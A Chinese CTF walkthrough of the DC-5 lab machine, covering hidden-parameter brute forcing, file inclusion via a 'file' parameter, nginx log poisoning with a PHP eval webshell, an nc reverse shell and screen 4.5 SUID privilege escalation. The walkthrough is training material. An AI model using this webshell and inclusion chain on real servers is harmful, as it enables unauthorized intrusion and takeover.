DC5通关及溯源分析

一、信息收集

对靶机扫描发现,开放了80端口和111端口,其中111端口没啥特殊服务,真正的入口只有80端口,80端口用的是nginx 1.6.2。

对网站进行目录扫描,发现有个footer.php,推断可能文件包含的问题,有可能footer.php是通过参数传过去的。

复制代码
<?php
// 包含配置文件
require_once 'config.php';

// 包含模板文件
include 'header.php';
echo "这是主要内容";
include 'footer.php';
?>

同时,发现有个留言界面,注意到提交留言后,footer.php的年份不一样。文件包含有两个条件,一是有文件包含的代码,二是能够获取到传递的参数。因此,下一步的思路就是爆破隐藏的url参数。

二、URL隐藏参数爆破

我们开启好bp,使用一个arjun的工具,这个工具可以组合字典里的参数名,进行自动化的排定。在proxychains配置代理为bp,这样arjun爆破的流量也能被及时捕获。爆破发现,arjun无法自动给出参数,通过bp发现,有一组(250多个)参数的值返回参数是997,其他是1014,我们把这一组参数拷贝下来,准备下一轮筛选,看看究竟是哪个参数发挥作用。

复制代码
proxychains  arjun -u http://192.168.136.194/thankyou.php  -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt 

为了找到这250多个参数,究竟是哪个参数有作用,我们可以使用bp爆破,但是bp爆破的速度实在太慢了,可以写个python脚本,按照bp的输出格式打印到一个csv文件。

复制代码
import requests
import csv
import time

# ====== 配置区 ======
BASE_URL = "http://192.168.136.194/thankyou.php"

# 必需的基础参数(来自原始请求)
BASE_PARAMS = {
    "firstname": "1",
    "lastname": "111",
    "country": "australia",
    "subject": "11"
}

# 完整请求头(从 Burp 复制)
HEADERS = {
    "Host": "192.168.136.194",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1"
}

DICT_FILE = "/tmp/1201.txt"   # 所有要测试的隐藏参数列表
BATCH_SIZE = 1            # 每次组合 10 个参数一起发
# ====================

# 读取所有候选参数
with open(DICT_FILE, "r") as f:
    all_test_params = [line.strip() for line in f if line.strip() and not line.startswith("#")]

print(f"[+] Loaded {len(all_test_params)} candidate parameters")
print(f"[+] Will test in batches of {BATCH_SIZE} parameters per request")

# CSV 输出
FIELDNAMES = ["Batch_Params", "URL", "Status code", "Length", "MIME type", "Time (ms)", "Response"]
with open("batch_results.csv", "w", newline="", encoding="utf-8") as f:
    writer = csv.DictWriter(f, fieldnames=FIELDNAMES)
    writer.writeheader()

    # 分批:每批 BATCH_SIZE 个参数
    for i in range(0, len(all_test_params), BATCH_SIZE):
        batch = all_test_params[i:i + BATCH_SIZE]
        print(f"\n[+] Sending request with params: {batch}")

        # 构造完整参数:基础参数 + 当前批次的 10 个隐藏参数
        payload = BASE_PARAMS.copy()
        for param in batch:
            payload[param] = "1"  # 所有测试参数值设为 "1"

        # 拼接 URL
        query_str = "&".join([f"{k}={v}" for k, v in payload.items()])
        url = BASE_URL + "?" + query_str

        start = time.time()
        try:
            resp = requests.get(
                url,
                headers=HEADERS,
                timeout=10,
                verify=False,
                allow_redirects=False
            )
            elapsed_ms = int((time.time() - start) * 1000)

            row = {
                "Batch_Params": ",".join(batch),
                "URL": url,
                "Status code": resp.status_code,
                "Length": len(resp.content),
                "MIME type": resp.headers.get("Content-Type", "unknown"),
                "Time (ms)": elapsed_ms,
                "Response": resp.text[:500].replace("\n", " ").replace("\r", " ")
            }
            writer.writerow(row)
            print(f"  → Status: {resp.status_code} | Length: {len(resp.content)}")

        except Exception as e:
            elapsed_ms = int((time.time() - start) * 1000)
            row = {
                "Batch_Params": ",".join(batch),
                "URL": url,
                "Status code": "ERROR",
                "Length": 0,
                "MIME type": "none",
                "Time (ms)": elapsed_ms,
                "Response": str(e)[:500]
            }
            writer.writerow(row)
            print(f"  → ERROR: {str(e)[:50]}")

print("\n✅ Done! Results saved to batch_results.csv")

可以发现file的长度是835,其他是852,因此答案就是file,输入?file=/etc/passwd,发现可以读到这个文件。

三、利用日志写码

当存在文件包含漏洞时候,被包含的文件都会当成php来执行,由于这个网站没有别的地方可以上传或者写文件,因此只能通过往日志里写码,并通过包含日志文件,实现访问和控制。

nginx日志的默认位置在/var/log/nginx/access.log

我们在在任意界面加上参数<?php @eval($_POST['pass']) ;?>,主要不要再前面加上?file之类的参数名,因为这样可能会和木马中的<闭合,造成你的马失效。

用antsword访问,访问后再虚拟终端里,用nc建立反弹shell

四、本地提权

接下来,开始本地提权,首先看看有没有suid位的程序。

find / -perm -4000 -type f 2>/dev/null

发现有个screen程序,他是远程运维的一个程序,查看版本是screen 4.5,再gtfobins网站查询,发现具备任意写文件的问题。

在kali的弹药库搜索发现存在一键提权的脚本:

我们通过之前的antsword建立的session上传文件,并在反弹shell中执行这个脚本(记得给它执行权限 chmod 777 dc5.sh

相关推荐
青莲84339 分钟前
Android Lifecycle 完全指南:从设计原理到生产实践
android·前端
打工人1111 小时前
安卓Android 获取mac地址及sn
android·macos
Yang-Never1 小时前
Open GL ES->EGL渲染环境、数据、引擎、线程的创建
android·java·开发语言·kotlin·android studio
城东米粉儿1 小时前
为ViewGroup 对象的布局更改添加动画效果 笔记
android
松☆1 小时前
OpenHarmony + Flutter 多语言与国际化(i18n)深度适配指南:一套代码支持中英俄等 10+ 语种
android·javascript·flutter
_李小白1 小时前
【Android FrameWork】第十八天:Binder服务
android·microsoft·binder
urkay-1 小时前
Android 全局修改设备的语言设置
android·xml·java·kotlin·iphone
javaGHui1 小时前
安卓传感器横竖屏切换
android·经验分享·笔记
用户69371750013841 小时前
21.Kotlin 接口:接口 (Interface):抽象方法、属性与默认实现
android·后端·kotlin